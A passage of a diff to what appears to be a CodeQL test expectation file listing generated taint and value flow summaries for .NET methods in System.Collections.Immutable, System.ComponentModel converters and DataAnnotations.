System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -5924,10 +5945,10 @@ | System.Collections.Immutable;ImmutableSortedSet;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateBuilder;(System.Collections.Generic.IComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;IntersectWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | @@ -5945,20 +5966,26 @@ | System.Collections.Immutable;ImmutableSortedSet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedSet;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -6198,6 +6225,7 @@ | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.ThisKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;CompareAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];value;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;CustomValidationAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.CustomValidationAttribute.Method];value;dfc-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];value;dfc-generated | @@ -6230,6 +6258,11 @@ | System.ComponentModel.DataAnnotations;UIHintAttribute;get_UIHint;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor];value;dfc-generated | @@ -6376,8 +6409,12 @@ | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.Type,System.String);Argument[1];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;get_Value;();Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];ReturnValue;value;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ArrayConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[0];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.Error];value;dfc-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[2];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.UserState];value;dfc-generated | @@ -6405,8 +6442,12 @@ | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;BindingList;InsertItem;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | | System.ComponentModel;BindingList;OnAddingNew;(System.ComponentModel.AddingNewEventArgs);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;BindingList;OnListChanged;(System.ComponentModel.ListChangedEventArgs);Argument[0];Argument[this];taint;df-generated | @@ -6424,11 +6465,19 @@ | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionChangeEventHandler;BeginInvoke;(System.Object,System.ComponentModel.CollectionChangeEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | @@ -6446,8 +6495,12 @@ | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetCultureName;(System.Globalization.CultureInfo);Argument[0].Property[System.Globalization.CultureInfo.Name];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;CustomTypeDescriptor;CustomTypeDescriptor;(System.ComponentModel.ICustomTypeDescriptor);Argument[0];Argument[this].SyntheticField[System.ComponentModel.CustomTypeDescriptor._parent];value;dfc-generated | @@ -6455,20 +6508,36 @@ | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| 